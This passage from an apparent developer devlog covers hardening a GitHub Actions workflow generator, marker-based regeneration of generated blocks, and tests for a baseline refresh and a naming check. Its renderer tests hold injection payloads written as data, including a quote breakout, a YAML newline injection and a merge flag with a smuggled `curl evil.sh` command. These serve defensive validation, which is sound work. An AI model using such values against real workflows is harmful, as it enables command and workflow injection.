MERGE_CREDENTIAL lands inside a ${{ secrets.X }} expression, so the only correct rule is GitHub’s own: secret names “can only contain alphanumeric characters ([a-z], [A-Z], [0-9]) or underscores (_)” and must not start with a number.
MERGE_FLAG is derived by your code from a config enum, never copied from config text, so it should be checked against a closed set.

One global sanitizer would be wrong for at least three of those. Replace the renderer with render.mjs:

const TOKEN_RE = /\{\{(\w+)\}\}/g;

// A branch name lands inside a single-quoted YAML scalar, so a quote closes
// the string early and a newline starts a new YAML key.
const UNSAFE_IN_QUOTED_SCALAR = /['"\r\n]/;

// A credential name lands inside a ${{ secrets.X }} expression, so it has to
// satisfy GitHub's own secret-naming rule and nothing looser.
const SAFE_SECRET_NAME = /^[A-Za-z_][A-Za-z0-9_]*$/;

// Closed enum: the caller derives it, a config value never reaches it.
const MERGE_FLAGS = new Set(['--merge', '--squash', '--rebase']);

const VALIDATORS = Object.freeze({
  DEV_BRANCH: (v) => !UNSAFE_IN_QUOTED_SCALAR.test(v),
  MAIN_BRANCH: (v) => !UNSAFE_IN_QUOTED_SCALAR.test(v),
  MERGE_CREDENTIAL: (v) => SAFE_SECRET_NAME.test(v),
  MERGE_FLAG: (v) => MERGE_FLAGS.has(v),
});

export function render(template, params) {
  const missing = [];
  const unsafe = [];

  const out = template.replace(TOKEN_RE, (_, name) => {
    // `name in params` is true for a key whose value is undefined, which is
    // how the string "undefined" ends up in a workflow that installs fine
    // and never fires.
    const value = params[name];
    if (value === undefined || value === null) {
      missing.push(name);
      return `{{${name}}}`;
    }
    const str = String(value);
    const validate = VALIDATORS[name];
    if (!validate) {
      unsafe.push(`${name} (no validator declared)`);
      return `{{${name}}}`;
    }
    if (!validate(str)) unsafe.push(name);
    return str;
  });

  if (missing.length) {
    throw new Error(`render: missing value for ${missing.join(', ')}`);
  }
  if (unsafe.length) {
    throw new Error(`render: unsafe value for ${unsafe.join(', ')}`);
  }
  return out;
}

Three properties matter more than the regexes.

It throws instead of sanitizing. A rejected branch name is a config error the maintainer should see and fix, and silently rewriting someone’s branch name into something that renders safely produces a workflow that guards the wrong branch.

A token with no declared validator is treated as unsafe. Add a token to the template, forget the validator, and the render fails rather than passing the value through unchecked. Fail-closed on your own future edits is the part that survives contact with a growing template set.

It collects all failures before throwing. Reporting one bad value per run turns a four-field config into four round trips.

Prove it from both sides

A validation test that only checks good input passes will keep passing after someone weakens the checker. Every rejection needs its own case, using the payload that actually worked against the naive version:

import { test } from 'node:test';
import assert from 'node:assert/strict';
import { readFileSync } from 'node:fs';
import { parse } from 'yaml';
import { render } from './render.mjs';

const template = readFileSync(new URL('promote.yml.tmpl', import.meta.url), 'utf8');

const GOOD = {
  DEV_BRANCH: 'dev',
  MAIN_BRANCH: 'main',
  MERGE_CREDENTIAL: 'PROMOTE_PAT',
  MERGE_FLAG: '--merge',
};

test('a legal config renders parseable YAML with the guard intact', () => {
  const doc = parse(render(template, GOOD));
  assert.equal(
    doc.jobs.automerge.if,
    "github.event.pull_request.head.ref == 'dev'"
  );
  assert.deepEqual(doc.permissions, {});
});

// Two-sided: the same inputs that broke the naive renderer must now throw.
for (const [label, bad] of [
  ['quote breaks out of the if: condition', { DEV_BRANCH: "dev' || 'x'=='x" }],
  ['newline injects a new YAML key', { DEV_BRANCH: 'dev\non: push' }],
  ['secret name with an expression in it', { MERGE_CREDENTIAL: 'A }} ${{ secrets.B' }],
  ['merge flag outside the enum', { MERGE_FLAG: '--merge; curl evil.sh' }],
]) {
  test(`rejects: ${label}`, () => {
    assert.throws(
      () => render(template, { ...GOOD, ...bad }),
      /unsafe value/
    );
  });
}

test('a present-but-undefined value is missing, not the string "undefined"', () => {
  assert.throws(
    () => render(template, { ...GOOD, MAIN_BRANCH: undefined }),
    /missing value for MAIN_BRANCH/
  );
});

node --test gives you this, with the trailing counter lines trimmed and your durations differing:

✔ a legal config renders parseable YAML with the guard intact (3.94075ms)
✔ rejects: quote breaks out of the if: condition (0.166417ms)
✔ rejects: newline injects a new YAML key (0.039583ms)
✔ rejects: secret name with an expression in it (0.034416ms)
✔ rejects: merge flag outside the enum (0.034459ms)
✔ a present-but-undefined value is missing, not the string "undefined" (0.044625ms)
ℹ tests 6
ℹ pass 6
ℹ fail 0

The first test asserts on the parsed if: string, not on a substring of the rendered file. A .includes('dev') assertion passes against the injected version too.

While you are in the templates, set permissions: {} at the workflow level and grant per job, which is what the first test checks. zizmor flags the workflow-level grant as excessive-permissions, and its reasoning is the part worth internalizing: permissions “should be declared as minimally as possible, and as close to their usage site as possible,” because a workflow-level grant silently extends to jobs added later that nobody reviewed for it.

Gotchas

A present-but-undefined param renders the literal string undefined. Testing presence with key in params returns true for a key explicitly set to undefined, so String(undefined) flows through as a real value and passes every safety regex, since "undefined" contains no quotes or newlines. The symptom is the worst kind: a workflow that is valid YAML, installs cleanly, and can never fire. In this arc it rendered name: auto-merge dev into undefined and branches: [undefined], with no error at apply time. Escape: treat undefined and null as missing, not as values, and assert on a parsed field rather than on the file’s text. This one was caught by a baseline eval on its first run, not by review.

Your fix only ships if the fix is what runs. A bare npx <your-tool> <command> can resolve a stale global install already on PATH instead of fetching the current version from the registry, with no warning that it happened. During the dogfood run right after the Critical fix released, a bare invocation silently ran a months-old global copy that predated every security fix in the series. The symptom is a tool that reports success while running pre-patch behavior. Escape: pin @latest on every invocation in your docs and your skill instructions, and add a test that greps your own documentation for unpinned invocations.

A guard that lives in the caller is not a guard. Later in this arc, CodeQL flagged a changelog helper that built a RegExp from a version string and escaped only the dots, leaving \, *, +, ( and [ live. It was not reachable through the CLI, because the calling command rejects a non-semver version first. It was still wrong, because the function is exported and independently callable. The CodeQL guidance for js/incomplete-sanitization is to prefer a well-tested library, or better, “design the application so that sanitization is not needed.” Here that meant dropping the regex entirely for plain string operations, which also made the check identical to the awk that reads the same file at release time. Escape: when a validated value crosses a module boundary, revalidate at the boundary or remove the need to.

Least privilege can break the error path you never exercise. Scoping permissions per job surfaced two merge-back workflows granted only contents: write, whose failure handler calls gh pr create and needs pull-requests: write. That step runs only after a merge conflict, so under a defaulted token it would have failed exactly when it was the last thing left to surface the problem. Escape: when you tighten permissions, enumerate the steps in failure branches, not just the happy path.

Sources

Security hardening for GitHub Actions — write access implies read access to all repository secrets, and the least-privilege guidance for workflow credentials
CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine — the vulnerability class this renderer falls into
Secrets reference, GitHub Docs — the exact secret-name charset the MERGE_CREDENTIAL validator encodes
zizmor audits: excessive-permissions — why permissions belong on the job, not the workflow
CodeQL js/incomplete-sanitization — partial escaping, and the case for designing sanitization out

Changelog

feat(release): “release devlog” means a tag, and it has to prove it (#158) (3cbe622)
fix(shipflow): least-privilege permissions in every rendered workflow (0.3.3) (#150) (6d635eb)
chore(shipflow): release 0.3.0 (#99) (aa6049e)
shipflow: multi-pattern workflow templates (dev-main-promotion, github-flow, gitflow) (#74) (1e1c848)
docs: professional README pass — dynamic version badges, clean repo layout (#69) (e102ac5)
fix(shipflow): pin @latest on every npx invocation; docs pass (0.2.6) (#67) (91ce790)
fix(shipflow): mandatory TOCTOU guard, forced-override auditability, subprocess timeouts, YAML-validity CI check (0.2.5) (#63) (b696088)
fix(shipflow): REST-path encoding, resolveOwnerRepo hardening, file-size cap (0.2.4) (#61) (e517c81)
fix(shipflow): Critical — unescaped template substitution allowed workflow injection (0.2.3) (#59) (e9da5e0)
fix(shipflow): label-release-pending never fires under GITHUB_TOKEN-attributed auto-merge (0.2.2) (#57) (7eb902f)
fix(shipflow): rendered auto-merge workflow was missing --repo on both gh calls (0.2.1) (#54) (494e11f)
fix(shipflow): filter requiredChecks candidates to PR-triggered jobs, add agent-driven CI scaffolding (c80c48e)
fix(shipflow): first-run interview UX, default-branch mismatch handling, honest ruleset-error classification (0.2.0) (#50) (d348afb)
feat(shipflow): Phase A — manual-gate branch/release workflow skill (#49) (eea8f31)

Every file it had already generated still carried the old name

Sat, 01 Aug 2026 00:00:00 GMT

Shipped

This release renames the skill from forge to ghfactory and regenerates the workflow mastheads it had already spliced into this repository. Renaming the directory, the plugin id, the command and the package was the easy half.

The other half is that this tool writes blocks into other people’s files, and every block says who wrote it. A generator that signs its output has a migration problem the day its name changes, and the files needing migration are not in its repository.

What a rename does to output you already shipped

A generated block in a hand-written file is a small contract. Go’s toolchain states it as a comment matching ^// Code generated .* DO NOT EDIT\.?$, which must appear “before the first non-comment, non-blank text in the file” and exists “to convey to humans and machine tools that code is generated”.

That marker answers one question: is this generated. It does not answer the two questions a rename creates.

The first is whose. Once the generator is called something else, a block saying GENERATED by forge is orphaned. Nothing will claim it, and the next person to read that file goes looking for a tool that no longer exists.

The second is has anyone touched it. This is the one that decides whether you can fix the first automatically. If the body of a block differs from what your generator would emit today, there are two possible reasons and they demand opposite responses: the generator changed, so overwrite; or a human edited inside the region, so stop and ask. A plain diff cannot tell them apart, and guessing wrong either clobbers someone’s work or leaves a stale block forever.

Put three facts in the marker

Write the generator’s identity, its version, and a hash of the body. The hash is doing the same job as Subresource Integrity on a script tag, where the browser “will then calculate the hash of the resource contents using the specified function, and compare the result” before trusting it. Here the comparison is not for security; it tells you whether the bytes are still the ones you wrote.

Save this as region.mjs:

import { createHash } from 'node:crypto';

const sha = (s) => createHash('sha256').update(s).digest('hex').slice(0, 12);

/**
 * A generated region inside an otherwise hand-written file.
 *
 * The opening marker carries three things, and each answers a different
 * question later: the generator's identity (who owns this block), its version
 * (is the block current), and a receipt over the body (has anyone typed in it).
 */
export function render(body, { region, version, generator }) {
  return [
    `# >>> ${region} v${version} sha256:${sha(body)} GENERATED by ${generator}, do not edit`,
    body,
    `# <<< ${region}`,
  ].join('\n');
}

const OPEN = /^# >>> (\S+) v(\S+) sha256:(\S+) GENERATED by (\S+?), do not edit$/;

export function parse(text, region) {
  const lines = text.split('\n');
  const start = lines.findIndex((l) => OPEN.test(l) && OPEN.exec(l)[1] === region);
  if (start === -1) return null;
  const end = lines.findIndex((l, i) => i > start && l === `# <<< ${region}`);
  if (end === -1) return null;
  const [, , version, receipt, generator] = OPEN.exec(lines[start]);
  return { version, receipt, generator, body: lines.slice(start + 1, end).join('\n') };
}

/**
 * Three states, and telling them apart is the whole point:
 *   edited  the body no longer matches its own receipt — a human typed here
 *   stale   the body is intact, but a different generator or version wrote it
 *   ok      current generator, current version, untouched body
 */
export function classify(text, { region, version, generator }) {
  const found = parse(text, region);
  if (!found) return { state: 'absent' };
  if (sha(found.body) !== found.receipt) return { state: 'edited', by: found.generator };
  if (found.generator !== generator) return { state: 'stale', by: found.generator };
  if (found.version !== version) return { state: 'stale', by: `${found.generator} v${found.version}` };
  return { state: 'ok', by: found.generator };
}

export function splice(text, body, opts) {
  const found = parse(text, opts.region);
  if (!found) return text;
  const lines = text.split('\n');
  const start = lines.findIndex((l) => OPEN.test(l) && OPEN.exec(l)[1] === opts.region);
  const end = lines.findIndex((l, i) => i > start && l === `# <<< ${opts.region}`);
  return [...lines.slice(0, start), render(body, opts), ...lines.slice(end + 1)].join('\n');
}

The order of the checks in classify matters. Receipt first, identity second: a block someone edited is not stale, it is a conversation, and finding out it was also written by the old generator does not change that.

Classify, do not diff

Now a checker over a directory. It reports every region and exits non-zero when anything is stale, which is what makes it usable in CI. Save it as check.mjs:

import { readdirSync, readFileSync, writeFileSync } from 'node:fs';
import { join } from 'node:path';

import { classify, splice } from './region.mjs';

// Who we are now. The rename lives here and nowhere else.
const OPTS = { region: 'gha-header', version: '0.2.0', generator: 'ghfactory' };
const BODY = ['# CI', '# purpose: run the test suite on every pull request'].join('\n');

const files = readdirSync('workflows').map((f) => join('workflows', f)).sort();
const apply = process.argv.includes('--write');

let stale = 0;
for (const file of files) {
  const text = readFileSync(file, 'utf8');
  const { state, by } = classify(text, OPTS);
  console.log(`${state.padEnd(7)} ${file.padEnd(28)} ${by ?? ''}`);
  if (state !== 'stale') continue;
  stale++;
  if (apply) writeFileSync(file, splice(text, BODY, OPTS));
}

if (stale && !apply) {
  console.log(`\n${stale} stale. Re-run with --write to regenerate.`);
  process.exit(1);
}

Build three files to exercise all three states: one current, one written by the old generator, and one a human has typed inside.

mkdir -p workflows
node -e "
import('./region.mjs').then(({render})=>{
const fs=require('fs');
const BODY=['# CI','# purpose: run the test suite on every pull request'].join('\n');
const tail='\non: [pull_request]\njobs:\n  test:\n    runs-on: ubuntu-latest\n';
fs.writeFileSync('workflows/ci.yml', render(BODY,{region:'gha-header',version:'0.2.0',generator:'ghfactory'})+tail);
fs.writeFileSync('workflows/release.yml', render(BODY,{region:'gha-header',version:'0.1.2',generator:'forge'})+tail);
const edited=render(BODY,{region:'gha-header',version:'0.2.0',generator:'ghfactory'}).replace('run the test suite','run the tests (tweaked)');
fs.writeFileSync('workflows/security.yml', edited+tail);
});"

workflows/release.yml now opens with a marker from before the rename:

# >>> gha-header v0.1.2 sha256:07290b37df04 GENERATED by forge, do not edit
# CI
# purpose: run the test suite on every pull request

Run the checker:

node check.mjs

ok      workflows/ci.yml             ghfactory
stale   workflows/release.yml        forge
edited  workflows/security.yml       ghfactory

1 stale. Re-run with --write to regenerate.

Three files, three verdicts, and the exit code is 1. Note what the receipt bought: security.yml claims the current generator and current version, so identity alone says it is fine. The hash says otherwise.

Regenerate the stale, leave the edited

node check.mjs --write
node check.mjs

ok      workflows/ci.yml             ghfactory
ok      workflows/release.yml        ghfactory
edited  workflows/security.yml       ghfactory

The orphaned block was reclaimed. The edited one was not touched, and still reports edited on every run, which is the correct amount of nagging: it is a decision for a person, and the checker’s job is to keep it visible rather than to resolve it.

This is the same shape as Terraform’s drift detection, where a refresh “displays proposed state updates without modifying actual infrastructure, giving operators visibility into drift before deciding whether to accept the changes.” Report first, write only when asked.

Gotchas

The files that need migrating are not in your repository. Every workflow this tool ever wrote carries the old signature until someone regenerates it, and most of them live in repositories the author cannot push to. Only the four in this repo were fixed here. Escape: ship the detector, not just the fix. A check that names the stale files is the only migration you can actually deliver to someone else’s clone, and it needs to be runnable without arguments so a stranger gets a useful answer on the first try.

Some identities cannot be regenerated at all. Release tags already cut keep the old prefix forever, because rewriting published tags is worse than living with two prefixes. Escape: sort a rename’s surfaces into regenerable, redirectable, and permanent before starting, and write the permanent ones into the changelog so nobody later reads them as an oversight.

Renaming the generator and updating its consumers cannot land separately. The masthead body here comes from a sibling brand package, and the version of that package on the registry does not necessarily contain the emitter this release needs. Resolution deliberately prefers the in-repo checkout when one exists, because the alternative is waiting for a publish before the tests can run, which makes the two changes unlandable together. Escape: when two packages in one repository must change together, let the local copy win over the published one during development, and be explicit in a comment that this is why.

A marker a machine writes is a marker a machine must be able to parse. The opening line here is a single regex with four captures, and every field is whitespace-free for that reason. The moment a title or purpose with a space lands in that line, the parser silently stops matching and every region reports absent, which reads exactly like “nothing to do”. Escape: keep free text inside the body, keep the marker line a fixed grammar, and make absent over a directory you expected to have regions a loud result rather than a quiet one.

Sources

cmd/go documentation — the generated-code marker convention and where the line must appear
Subresource Integrity, MDN — a content hash carried alongside content, and what a mismatch means
Manage resource drift, HashiCorp — detecting divergence and reporting it before writing anything

A baseline pinned to whatever ran most recently

Sat, 01 Aug 2026 00:00:00 GMT

Shipped

This release renames the skill from assay to eval, and fixes something more interesting than a rename: the command that refreshes its frozen baseline was not reproducing that baseline.

Given no arguments, the refresh picked the most recently modified session transcript on the machine and re-pinned the golden to that. So the declared refresh command swapped the graded run for an unrelated one, wrote a completely different golden, and left the resulting enormous diff looking exactly like drift.

Every frozen-fixture setup has this failure mode available to it, and it is invisible from the passing side.

What a frozen baseline is actually pinned to

The reason to freeze anything is that the real inputs move. Grading a run reads a session transcript, which grows every turn, and a repository, which changes every pull request. Pinned against either of those directly, the golden goes red constantly for reasons that have nothing to do with the code under test.

That is the same problem Bazel calls hermeticity: “when given the same input source code and product configuration, a hermetic build system always returns the same output by isolating the build from changes to the host system.” Freezing the inputs is how a byte comparison becomes a statement about your code rather than about your Tuesday.

But freezing creates a second artifact nobody thinks about: the command that unfreezes and refreezes. Approval testing describes the loop as approving output as a golden master and then reviewing and re-approving when requirements change. That re-approval step is where the rot happens, because it is the one operation nobody tests.

The property you need is the one reproducible builds states for artifacts: “given the same source code, build environment and build instructions, any party can recreate bit-by-bit identical copies of all specified artifacts.” Applied to a fixture refresh: running it on an unchanged tree must give back exactly what is committed.

Build the thing, and freeze its output

A tiny version of the setup. report.mjs is whatever you are pinning:

// The thing under test: turns a recorded run into a graded report.
export function report(trace) {
  const failed = trace.events.filter((e) => !e.ok);
  const lines = [
    `run: ${trace.runId}`,
    `events: ${trace.events.length}`,
    `failed: ${failed.length}`,
    ...failed.map((e) => `  - ${e.id}: ${e.why}`),
  ];
  return lines.join('\n') + '\n';
}

Two committed files hold the frozen state: fixtures/trace.json, the recorded input, and fixtures/report.golden, the output it produces. Create the input and a couple of decoy session files so the failure mode is reachable:

mkdir -p fixtures sessions
cat > fixtures/trace.json <<'JSON'
{"runId":"run-a91c","events":[{"id":"e1","ok":true},{"id":"e2","ok":false,"why":"published without reading the tag back"}]}
JSON
cp fixtures/trace.json sessions/2026-07-04-first.json
cat > sessions/2026-08-01-newest.json <<'JSON'
{"runId":"run-ffed","events":[{"id":"e1","ok":true},{"id":"e2","ok":true},{"id":"e3","ok":true}]}
JSON

The second session is newer and greener. Remember that, because it is what the broken refresh reaches for.

Give the refresh command one obligation

Here is the refresh, written so re-pinning is something you ask for rather than something that happens to you. Save it as update.mjs:

#!/usr/bin/env node
/**
 * Refresh the baseline. This is the command the failing assertion tells you
 * to run, so it has one obligation above all others: on an unchanged tree it
 * must reproduce the committed bytes, not pick a new subject.
 *
 *   node update.mjs                      # re-render the golden from the frozen trace
 *   node update.mjs --session <path>     # deliberately re-pin to a new run
 *   node update.mjs --session latest     # ...to the newest transcript
 */
import { readFileSync, writeFileSync, readdirSync, statSync } from 'node:fs';
import { join } from 'node:path';

import { report } from './report.mjs';

const TRACE = 'fixtures/trace.json';
const GOLDEN = 'fixtures/report.golden';

function latestSession() {
  const files = readdirSync('sessions')
    .map((f) => ({ f: join('sessions', f), t: statSync(join('sessions', f)).mtimeMs }))
    .sort((a, b) => b.t - a.t);
  if (!files.length) throw new Error('no sessions to pick from');
  return files[0].f;
}

const i = process.argv.indexOf('--session');
const requested = i === -1 ? null : process.argv[i + 1];

// The default is the committed trace. Re-pinning is opt-in, because a refresh
// that silently changes the subject makes every diff read as drift.
let source = TRACE;
if (requested === 'latest') source = latestSession();
else if (requested) source = requested;

if (source !== TRACE) {
  writeFileSync(TRACE, readFileSync(source, 'utf8'));
  console.log(`re-pinned trace from ${source}`);
}

const trace = JSON.parse(readFileSync(TRACE, 'utf8'));
writeFileSync(GOLDEN, report(trace));
console.log(`wrote ${GOLDEN} (run ${trace.runId})`);

latestSession still exists, and picking the newest transcript is genuinely what you want right after doing a run worth grading. The change is that you have to say so. Generate the golden:

node update.mjs && cat fixtures/report.golden

wrote fixtures/report.golden (run run-a91c)
run: run-a91c
events: 2
failed: 1
  - e2: published without reading the tag back

The assertion that makes the baseline real

Now test the refresh, not just the output. Copy the tree to a scratch directory, run the refresh there, and compare. Save it as baseline.test.mjs:

import { test } from 'node:test';
import assert from 'node:assert/strict';
import { execFileSync } from 'node:child_process';
import { readFileSync, cpSync, mkdtempSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';

const HERE = new URL('.', import.meta.url).pathname;
const read = (p) => readFileSync(join(HERE, p), 'utf8');

test('the golden matches the committed trace', () => {
  const trace = JSON.parse(read('fixtures/trace.json'));
  assert.equal(trace.runId, 'run-a91c', 'the graded run is the one that was approved');
});

// The assertion the whole baseline rests on. `update` is what a failing golden
// tells you to run, so running it on an unchanged tree must give back exactly
// what is committed. If it does not, the golden is pinned to nothing.
test('the refresh command reproduces the committed baseline', () => {
  const work = mkdtempSync(join(tmpdir(), 'baseline-'));
  cpSync(HERE, work, { recursive: true });

  const before = readFileSync(join(work, 'fixtures/report.golden'), 'utf8');
  execFileSync('node', ['update.mjs'], { cwd: work, stdio: 'pipe' });
  const after = readFileSync(join(work, 'fixtures/report.golden'), 'utf8');

  assert.equal(after, before, 'update.mjs changed the golden on an unchanged tree');
});

Running the refresh in a copy matters. Run it in place and a broken refresh overwrites the committed golden as a side effect of testing it, and then the comparison you were about to make has nothing left to compare against.

node --test

✔ the golden matches the committed trace (0.334042ms)
✔ the refresh command reproduces the committed baseline (26.77375ms)
ℹ tests 2
ℹ pass 2
ℹ fail 0

Prove it fails

A green two-line suite proves nothing yet. Reintroduce the original defect by replacing the three source lines with the version that has no default:

let source = requested ?? latestSession();

✔ the golden matches the committed trace (0.311792ms)
✖ the refresh command reproduces the committed baseline (26.07875ms)
ℹ tests 2
ℹ pass 1
ℹ fail 1
✖ failing tests:
✖ the refresh command reproduces the committed baseline (26.07875ms)
  AssertionError [ERR_ASSERTION]: update.mjs changed the golden on an unchanged tree

That is the whole bug, caught in one assertion. Note that the first test still passes: the committed trace is untouched on disk, so a check of the inputs sees nothing wrong. Only running the refresh reveals it.

Gotchas

A default that reads the filesystem is a default that changes. “No argument given, so use the most recent one” feels helpful and is the exact shape of this bug: the command’s behaviour depends on file modification times, which are not in the repository and differ on every machine. Escape: when a command has a committed artifact available, make that the default and make anything else explicit. Convenience belongs behind a flag whose name says what it will do.

Regenerating a derived artifact and rewriting a record are different operations. This same release renamed three skills, and every generated artifact embedding an old name was re-frozen by re-running its own update command. The recorded trace was deliberately left alone, because it is a normalized record of a session that actually happened, and editing names inside it would assert something that was not observed. Escape: before a bulk rename touches a fixture, ask whether the file is produced by your tool or recorded from reality. Produced files get regenerated; recorded files are evidence, and evidence does not get corrected to match today’s vocabulary.

Leaving the record honest leaves a mismatch, and that is the right trade. The frozen report now cites current file paths against events that ran under the old ones. It looks like an inconsistency in the fixture and it is the only version of it that is true. Escape: write down why the mismatch exists next to the fixture, or the next person will helpfully fix it.

A refresh test that runs in place destroys its own evidence. The broken refresh writes the golden before you can compare it, so an in-place test either passes vacuously or leaves the working tree dirty in a way that looks like an unrelated change. Escape: copy to a scratch directory, refresh there, compare across the boundary.

Sources

Hermeticity, Bazel — the same inputs returning the same output, and why host state is the enemy
Definition of Reproducible Builds — bit-by-bit identical artifacts from identical inputs, the property a refresh command needs
ApprovalTests — the golden-master loop, including the re-approval step this post is about

A metaphor always reads better at the moment you pick it

Sat, 01 Aug 2026 00:00:00 GMT

Shipped

This release adds a spec-time check that refuses a name saying nothing about the job, and renames the skill enforcing it from smith to skillfactory. The demo fixture moved too, from tally to repocount, because tally fails the new rule and a scaffolder whose own golden output violates the rule it enforces is not enforcing one.

The check is the transferable part. Naming guidance is usually a paragraph in a style guide that everybody agrees with and nobody runs, and it stays that way because “does this name describe the thing” sounds like a judgment call. It is closer to a string problem than it looks.

What a bad name actually costs

Three tools here shipped as forge, assay and smith. None of those words says anything about generating GitHub Actions workflows, grading a run, or making skills, so every mention needed a gloss. All three were eventually renamed to ghfactory, eval and skillfactory.

A rename is not a find-and-replace, because a name is not one string. Each of these had a directory, a plugin id, a slash command, a CLI binary, an npm package name, a required status check, and a release tag prefix. Every one of those is a separate identity that something else already points at, and the tag prefixes cut before the rename keep the old spelling forever.

For an agent skill the name is also load-bearing at runtime. Anthropic’s skill authoring guidance is explicit that “the ‘name’ and ‘description’ in your Skill’s metadata are particularly critical. Claude uses these when determining whether to trigger the Skill in response to the current task,” and that only that metadata is preloaded at startup. The same page tells you to avoid “vague names: helper, utils, tools.”

Which is correct, and is advice. Advice loses to a name that sounded great on a Tuesday. Phil Karlton’s line, as Fowler records it, is that “there are only two hard things in Computer Science: cache invalidation and naming things.” The move is to stop treating the hard part as a matter of taste and check the part that is mechanical.

State the rule so a machine can check it

Here is the rule that turned out to be checkable:

Every hyphen-separated segment of the name must be spellable out of words that already appear in what the thing says it does, allowing for a role word and for an abbreviation whose expansion is in the text.

Three pieces to that, and each exists because the naive version is wrong.

“Spellable out of”, not “appears in”. A name is rarely a word from the description verbatim. repocount is repo plus count, and the description says “repository” and “count”. Substring matching finds neither.

Role words are exempt. factory, report, sync, eval, stats describe a kind of thing rather than a subject. They carry no domain meaning, so they cannot be the metaphor you are trying to catch, and demanding the description contain the word “factory” would be silly.

Abbreviations need their expansion present. gh is fine when the text says GitHub and meaningless otherwise. Two-letter pieces are the easiest way to accidentally spell anything, so they are admitted only from a table and only when the long form is really there.

Spell the name out of its own description

The implementation is word-break reachability: walk the segment left to right, and mark position j reachable if some earlier reachable position i leaves a piece segment[i..j) the vocabulary earns. Save it as namecheck.mjs:

// Does the name say what the thing does?
//
// A name is the only part a person sees before deciding whether to use it.
// The rule: every hyphen-separated segment must be spellable out of words the
// description already uses, give or take a role word or a known abbreviation.

const STOPWORDS = new Set([
  'the', 'and', 'for', 'that', 'this', 'with', 'from', 'when', 'what', 'your',
  'you', 'into', 'they', 'them', 'use', 'uses', 'used', 'not', 'are', 'was',
]);

// Words that describe a KIND of thing rather than its subject matter. These are
// always allowed: they carry no domain meaning, so they cannot be a metaphor.
const ROLE_WORDS = new Set(['factory', 'report', 'sync', 'eval', 'kit', 'log', 'stats']);

// Two-letter abbreviations, admitted only when the expansion is in the text.
const ABBREVS = { gh: 'github', db: 'database', ci: 'continuous integration' };

const MIN_STEM = 4;

function vocabulary(spec) {
  const text = [spec.summary, spec.description, spec.oneRule]
    .filter(Boolean).join(' ').toLowerCase();
  const words = (text.match(/[a-z]{3,}/g) ?? []).filter((w) => !STOPWORDS.has(w));
  return { text, tokens: new Set(words) };
}

// A piece is earned if it prefixes a described word ("repo" of "repository"),
// or extends one ("logger" from "log"). Only a stem of MIN_STEM or more may be
// extended, or every three-letter fragment starts spelling names.
function earned(piece, tokens) {
  for (const t of tokens) {
    if (t.startsWith(piece)) return true;
    if (t.length >= MIN_STEM && piece.startsWith(t)) return true;
  }
  return false;
}

// Can this segment be spelled entirely out of pieces the text earns?
// Word-break reachability: reachable[i] means "segment[0..i) is spellable".
function covers(segment, text, tokens) {
  const n = segment.length;
  const reachable = new Array(n + 1).fill(false);
  reachable[0] = true;
  for (let i = 0; i < n; i++) {
    if (!reachable[i]) continue;
    for (let j = i + 2; j <= n; j++) {
      const piece = segment.slice(i, j);
      if (piece.length === 2) {
        const expansion = ABBREVS[piece];
        if (!expansion || !text.includes(expansion)) continue;
      } else if (!(ROLE_WORDS.has(piece) || earned(piece, tokens))) {
        continue;
      }
      reachable[j] = true;
    }
  }
  return reachable[n];
}

export function nameCoverage(name, spec) {
  const { text, tokens } = vocabulary(spec);
  const uncovered = String(name ?? '')
    .split('-')
    .filter(Boolean)
    .filter((segment) => !covers(segment, text, tokens));
  return { ok: uncovered.length === 0, uncovered };
}

export function validate(spec) {
  const problems = [];
  if (!/^[a-z][a-z0-9-]{1,30}$/.test(spec.name ?? '')) {
    problems.push({ field: 'name', why: 'must be lowercase kebab, 2-31 chars' });
  } else {
    const { ok, uncovered } = nameCoverage(spec.name, spec);
    if (!ok) {
      problems.push({
        field: 'name',
        why: `"${uncovered.join('", "')}" appears nowhere in what this says it does`,
      });
    }
  }
  if (!spec.summary || spec.summary.length < 20) {
    problems.push({ field: 'summary', why: 'needs a one-line summary' });
  }
  return { ok: problems.length === 0, problems };
}

nameCoverage returns the uncovered segments rather than a boolean, which is what lets the error say which part of the name is unearned. “smith appears nowhere in what this says it does” tells an author what to change; “invalid name” does not.

Pin it with a trap that can only fail one way

Now the part that decides whether this check is still working in a year.

The obvious test is “a metaphor name is rejected”. That test passes for the wrong reason the moment any unrelated rule tightens, because a spec that fails for a missing summary also fails. This is the same blind spot mutation testing exists to expose: coverage tells you a line ran, not that anything checked it, and a surviving mutant “might indicate your tests do not sufficiently cover the code.”

Two properties fix it. Hold every field constant except the name, so a difference can only be about the name. And assert which field the failure landed on. Save this as naming.test.mjs:

import { test } from 'node:test';
import assert from 'node:assert/strict';
import { nameCoverage, validate } from './namecheck.mjs';

// One spec. The ONLY thing that varies between cases is the name, so a failure
// can only be about the name.
const SPEC = {
  summary: 'Counts what a repository owes you: open pull requests, stale branches, unreleased commits.',
  description:
    'Use when someone asks "what is unreleased", "how many open PRs", or wants a repository backlog count.',
  oneRule: 'Never report a count it did not read from the repository itself.',
};

const spec = (name) => ({ ...SPEC, name });

test('a name spelled out of the description passes', () => {
  assert.deepEqual(nameCoverage('repocount', spec('repocount')), { ok: true, uncovered: [] });
});

test('a role word needs no support from the text', () => {
  assert.ok(nameCoverage('repo-report', spec('repo-report')).ok);
});

test('an abbreviation passes only when its expansion is in the text', () => {
  const withGithub = { ...SPEC, description: SPEC.description + ' Reads GitHub.' };
  assert.ok(nameCoverage('gh-count', { ...withGithub, name: 'gh-count' }).ok);
  assert.deepEqual(nameCoverage('gh-count', spec('gh-count')).uncovered, ['gh']);
});

// The trap. Same spec, metaphor name.
test('a metaphor is rejected, and the failure names the segment', () => {
  const { ok, uncovered } = nameCoverage('smith', spec('smith'));
  assert.equal(ok, false);
  assert.deepEqual(uncovered, ['smith']);
});

// This is the assertion that keeps the trap honest. Without it, the test still
// passes the day an unrelated rule starts rejecting this spec for some other
// reason, and it stops proving anything about names at all.
test('the metaphor spec fails on the name field specifically', () => {
  const { ok, problems } = validate(spec('smith'));
  assert.equal(ok, false);
  assert.deepEqual(problems.map((p) => p.field), ['name']);
});

test('the same spec with a descriptive name has no problems at all', () => {
  assert.deepEqual(validate(spec('repocount')), { ok: true, problems: [] });
});

node --test

✔ a name spelled out of the description passes (0.584625ms)
✔ a role word needs no support from the text (0.093083ms)
✔ an abbreviation passes only when its expansion is in the text (0.057375ms)
✔ a metaphor is rejected, and the failure names the segment (0.2705ms)
✔ the metaphor spec fails on the name field specifically (0.089916ms)
✔ the same spec with a descriptive name has no problems at all (0.071042ms)
ℹ tests 6
